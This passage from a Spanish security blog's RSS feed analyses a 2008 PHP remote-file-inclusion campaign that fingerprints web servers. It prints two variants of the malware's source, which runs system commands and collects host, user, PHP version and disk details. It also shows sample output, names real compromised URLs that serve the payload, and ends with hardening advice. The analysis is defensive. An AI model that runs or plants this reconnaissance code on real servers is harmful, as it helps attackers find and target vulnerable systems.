<a href="http://www.php.net/echo"><span style="color: #000066;">echo</span></a> <span style="color: #ff0000;">&quot;id: $alb3&quot;</span>;
<a href="http://www.php.net/echo"><span style="color: #000066;">echo</span></a> <span style="color: #ff0000;">&quot;pwd: $alb4&quot;</span>;
<a href="http://www.php.net/echo"><span style="color: #000066;">echo</span></a> <span style="color: #ff0000;">&quot;user: $alb9&quot;</span>;
<a href="http://www.php.net/echo"><span style="color: #000066;">echo</span></a> <span style="color: #ff0000;">&quot;phpv: $alb6&quot;</span>;
<a href="http://www.php.net/echo"><span style="color: #000066;">echo</span></a> <span style="color: #ff0000;">&quot;SoftWare: $alb5&quot;</span>;
<a href="http://www.php.net/echo"><span style="color: #000066;">echo</span></a> <span style="color: #ff0000;">&quot;ServerName: $alb7&quot;</span>;
<a href="http://www.php.net/echo"><span style="color: #000066;">echo</span></a> <span style="color: #ff0000;">&quot;ServerAddr: $alb8&quot;</span>;
<a href="http://www.php.net/echo"><span style="color: #000066;">echo</span></a> <span style="color: #ff0000;">&quot;UNITED ALBANIANS aka ALBOSS PARADISE&quot;</span>; &lt; --- otra firma
<a href="http://www.php.net/exit"><span style="color: #000066;">exit</span></a>; &lt;--- finaliza el script
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre>
<p>Una ejecución tendría un aspecto similar al siguiente:</p>
<blockquote><p><em>ALBANIA<br />
15:52:09 up 13 days, 22:05, 2 users, load average: 0.00, 0.01, 0.00 uid=33(www-data) gid=33(www-data) grupos=33(www-data) os: Linux<br />
uname -a: Linux 2.6.24-21-generic #1 SMP Mon Aug 25 17:32:09 UTC 2008 i686<br />
uptime: 15:52:09 up 13 days, 22:05, 2 users, load average: 0.00, 0.01, 0.00<br />
id: uid=33(www-data) gid=33(www-data) grupos=33(www-data)<br />
pwd: /home/XXXXXXXX/public_html/exploitphp<br />
user: XXXXXXXX<br />
phpv: 5.2.4-2ubuntu5.3</p>
<p>SoftWare: Apache<br />
ServerName: 192.168.1.3<br />
ServerAddr:<br />
UNITED ALBANIANS aka ALBOSS PARADISE</em></p></blockquote>
<p><strong>5. ¿Cuál es el mecanismo que los atacantes emplean para obtener la información técnica de un servidor?</strong></p>
<p>El ataque se fundamenta en lanzar contra listas ingentes de servidores inyecciones similares a la mostrada, con el objetivo de obtener información técnica de las máquinas. Si consigo ejecutar en el servidor A (en este caso, lo intentaron contra mi blog) el código malicioso ubicado en el servidor B (por ejemplo, el ejemplo de <a href="http://www.bahai.org.ve//sistem.txt?">http://www.bahai.org.ve//sistem.txt?</a>) los atacantes obtendrían información técnica de mi servidor. Esto se basa en que algunos productos PHP, especialmente <a href="http://phpnuke.org/">PHPNuke</a> y <a href="http://www.phpbb.com/">phpBB</a>, son susceptibles de este tipo de inyecciones, y permiten la ejecución de código malicioso inyectado desde otros sitios web, previamente comprometidos para servir el código a ejecutar. Y para colmo de males, ambos productos están muy extendidos, con lo que se trata de lanzar muchas peticiones, y luego recoger con la caña información de muchos servidores. Es una simple cuestión estadística, donde el único coste que hay que poner en lo alto de la mesa es el ancho de banda para que un script Perl (casi todos los accesos tenían <em>User Agent</em> libwww-perl/5.80) ejecute miles de intentos de inyección contra miles de sitios cada día.</p>
<p><strong>6. ¿Por qué hacen esto?</strong></p>
<p>Obviamente, para obtener información técnica de servidores, que facilite ataques dirigidos posteriores. Por ejemplo, si de la ejecución anterior obtenemos que el servidor 192.168.1.3 corre una versión de PHP (<em>phpv: 5.2.4-2ubuntu5.3</em>) vulnerable, <a href="http://secunia.com/advisories/product/13446/?task=advisories">que lo es</a>, los atacantes ya tienen información suficiente para tratar de explotarlo, porque saben que en esa IP hay un producto susceptible de ataques.</p>
<p>Por otro lado, estas ejecuciones remotas permiten ir censando máquinas, y generar datos suficientes para explotar versiones determinadas de PHP, o del propio servidor Web, cuando aparezcan nuevas versiones y las actuales queden obsoletas. Si hoy me hago una lista de versiones PHP actualizadas (5.2.6), y mañana aparece una versión 5.2.7 que corrige fallos de seguridad, ya tengo una lista de sitios que, en ausencia de actualización, son blancos ideales para ser atacados.</p>
<p><strong>7. ¿Es esto algo nuevo?</strong></p>
<p>Lamentablemente, no. El ejemplo real que hemos visto lo bautizó en su momento <a href="http://www.eset-la.com/">el laboratorio de Eset</a>, fabricante de NOD32, como <em>PHP/Zapchast.C</em>. Tiene otras denominaciones, y es un tipo de malware que lleva rondando la red, bajo este formato, desde más o menos abril de 2008.</p>
<p>Eso sí, el código va cambiando. Mirad el ejemplo, también real, de <a href="http://motookazja.com.pl/admin/libs/config.txt??">http://motookazja.com.pl/admin/libs/config.txt??</a>, donde se introducen nuevas variables informativas, como el espacio en disco:</p>
<pre class="php">&nbsp;
&lt; ?php
<span style="color: #000000; font-weight: bold;">function</span> ConvertBytes<span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$number</span><span style="color: #66cc66;">&#41;</span>
<span style="color: #66cc66;">&#123;</span>
        <span style="color: #0000ff;">$len</span> = <a href="http://www.php.net/strlen"><span style="color: #000066;">strlen</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$number</span><span style="color: #66cc66;">&#41;</span>;
        <span style="color: #b1b100;">if</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$len</span> &lt; <span style="color: #cc66cc;">4</span><span style="color: #66cc66;">&#41;</span>
        <span style="color: #66cc66;">&#123;</span>
                <span style="color: #b1b100;">return</span> <a href="http://www.php.net/sprintf"><span style="color: #000066;">sprintf</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;%d b&quot;</span>, <span style="color: #0000ff;">$number</span><span style="color: #66cc66;">&#41;</span>;
        <span style="color: #66cc66;">&#125;</span>
        <span style="color: #b1b100;">if</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$len</span> &gt;= <span style="color: #cc66cc;">4</span> &amp;&amp; <span style="color: #0000ff;">$len</span> &lt; =<span style="color: #cc66cc;">6</span><span style="color: #66cc66;">&#41;</span>
        <span style="color: #66cc66;">&#123;</span>
                <span style="color: #b1b100;">return</span> <a href="http://www.php.net/sprintf"><span style="color: #000066;">sprintf</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;%0.2f Kb&quot;</span>, <span style="color: #0000ff;">$number</span>/<span style="color: #cc66cc;">1024</span><span style="color: #66cc66;">&#41;</span>;
        <span style="color: #66cc66;">&#125;</span>
        <span style="color: #b1b100;">if</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$len</span> &gt;= <span style="color: #cc66cc;">7</span> &amp;&amp; <span style="color: #0000ff;">$len</span> &lt; =<span style="color: #cc66cc;">9</span><span style="color: #66cc66;">&#41;</span>
        <span style="color: #66cc66;">&#123;</span>
                <span style="color: #b1b100;">return</span> <a href="http://www.php.net/sprintf"><span style="color: #000066;">sprintf</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;%0.2f Mb&quot;</span>, <span style="color: #0000ff;">$number</span>/<span style="color: #cc66cc;">1024</span>/<span style="color: #cc66cc;">1024</span><span style="color: #66cc66;">&#41;</span>;
        <span style="color: #66cc66;">&#125;</span>
&nbsp;
        <span style="color: #b1b100;">return</span> <a href="http://www.php.net/sprintf"><span style="color: #000066;">sprintf</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;%0.2f Gb&quot;</span>, <span style="color: #0000ff;">$number</span>/<span style="color: #cc66cc;">1024</span>/<span style="color: #cc66cc;">1024</span>/<span style="color: #cc66cc;">1024</span><span style="color: #66cc66;">&#41;</span>;
&nbsp;
<span style="color: #66cc66;">&#125;</span>
&nbsp;
<a href="http://www.php.net/echo"><span style="color: #000066;">echo</span></a> <span style="color: #ff0000;">&quot;knowledgeteam&lt;br&gt;&quot;</span>;
<span style="color: #0000ff;">$un</span> = @<a href="http://www.php.net/php_uname"><span style="color: #000066;">php_uname</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #0000ff;">$up</span> = <a href="http://www.php.net/system"><span style="color: #000066;">system</span></a><span style="color: #66cc66;">&#40;</span>uptime<span style="color: #66cc66;">&#41;</span>;
<span style="color: #0000ff;">$id1</span> = <a href="http://www.php.net/system"><span style="color: #000066;">system</span></a><span style="color: #66cc66;">&#40;</span>id<span style="color: #66cc66;">&#41;</span>;
<span style="color: #0000ff;">$pwd1</span> = @<a href="http://www.php.net/getcwd"><span style="color: #000066;">getcwd</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #0000ff;">$sof1</span> = <a href="http://www.php.net/getenv"><span style="color: #000066;">getenv</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;SERVER_SOFTWARE&quot;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #0000ff;">$php1</span> = <a href="http://www.php.net/phpversion"><span style="color: #000066;">phpversion</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #0000ff;">$name1</span> = <span style="color: #0000ff;">$_SERVER</span><span style="color: #66cc66;">&#91;</span><span style="color: #ff0000;">'SERVER_NAME'</span><span style="color: #66cc66;">&#93;</span>;
<span style="color: #0000ff;">$ip1</span> = <a href="http://www.php.net/gethostbyname"><span style="color: #000066;">gethostbyname</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$SERVER_ADDR</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #0000ff;">$free1</span>= <a href="http://www.php.net/diskfreespace"><span style="color: #000066;">diskfreespace</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$pwd1</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #0000ff;">$free</span> = ConvertBytes<span style="color: #66cc66;">&#40;</span><a href="http://www.php.net/diskfreespace"><span style="color: #000066;">diskfreespace</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$pwd1</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #b1b100;">if</span> <span style="color: #66cc66;">&#40;</span>!<span style="color: #0000ff;">$free</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&#123;</span><span style="color: #0000ff;">$free</span> = <span style="color: #cc66cc;">0</span>;<span style="color: #66cc66;">&#125;</span>
<span style="color: #0000ff;">$all1</span>= <a href="http://www.php.net/disk_total_space"><span style="color: #000066;">disk_total_space</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$pwd1</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #0000ff;">$all</span> = ConvertBytes<span style="color: #66cc66;">&#40;</span><a href="http://www.php.net/disk_total_space"><span style="color: #000066;">disk_total_space</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$pwd1</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #b1b100;">if</span> <span style="color: #66cc66;">&#40;</span>!<span style="color: #0000ff;">$all</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&#123;</span><span style="color: #0000ff;">$all</span> = <span style="color: #cc66cc;">0</span>;<span style="color: #66cc66;">&#125;</span>
<span style="color: #0000ff;">$used</span> = ConvertBytes<span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$all1</span>-<span style="color: #0000ff;">$free1</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #0000ff;">$os</span> = @<span style="color: #000000; font-weight: bold;">PHP_OS</span>;
&nbsp;
<a href="http://www.php.net/echo"><span style="color: #000066;">echo</span></a> <span style="color: #ff0000;">&quot;knowledgeteam was here ..&quot;</span>;
<a href="http://www.php.net/echo"><span style="color: #000066;">echo</span></a> <span style="color: #ff0000;">&quot;uname -a: $un&quot;</span>;
<a href="http://www.php.net/echo"><span style="color: #000066;">echo</span></a> <span style="color: #ff0000;">&quot;os: $os&quot;</span>;
<a href="http://www.php.net/echo"><span style="color: #000066;">echo</span></a> <span style="color: #ff0000;">&quot;uptime: $up&quot;</span>;
<a href="http://www.php.net/echo"><span style="color: #000066;">echo</span></a> <span style="color: #ff0000;">&quot;id: $id1&quot;</span>;
<a href="http://www.php.net/echo"><span style="color: #000066;">echo</span></a> <span style="color: #ff0000;">&quot;pwd: $pwd1&quot;</span>;
<a href="http://www.php.net/echo"><span style="color: #000066;">echo</span></a> <span style="color: #ff0000;">&quot;php: $php1&quot;</span>;
<a href="http://www.php.net/echo"><span style="color: #000066;">echo</span></a> <span style="color: #ff0000;">&quot;software: $sof1&quot;</span>;
<a href="http://www.php.net/echo"><span style="color: #000066;">echo</span></a> <span style="color: #ff0000;">&quot;server-name: $name1&quot;</span>;
<a href="http://www.php.net/echo"><span style="color: #000066;">echo</span></a> <span style="color: #ff0000;">&quot;server-ip: $ip1&quot;</span>;
<a href="http://www.php.net/echo"><span style="color: #000066;">echo</span></a> <span style="color: #ff0000;">&quot;free: $free&quot;</span>;
<a href="http://www.php.net/echo"><span style="color: #000066;">echo</span></a> <span style="color: #ff0000;">&quot;used: $used&quot;</span>;
<a href="http://www.php.net/echo"><span style="color: #000066;">echo</span></a> <span style="color: #ff0000;">&quot;total: $all&quot;</span>;
<a href="http://www.php.net/exit"><span style="color: #000066;">exit</span></a>;
&nbsp;</pre>
<p><strong>8. ¿Cómo evitar se parte de la trama?</strong></p>
<p>Si administras un servidor Web, mantén siempre actualizados el software base y todos los productos. Emplea contraseñas y protocolos de acceso seguros, para impedir que nadie aloje en tus páginas código de este tipo.</p>
<p>Y revisa periódicamente los logs, para detectar patrones similares al descrito. No te queda otra :)</p>
<p>Un saludo,</p>
]]></content:encoded>
			<wfw:commentRss>http://www.sahw.com/wp/archivos/2008/10/15/obtencion-masiva-de-informacion-tecnica-de-servidores-asi-trabajan-los-atacantes/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
	</channel>
</rss>
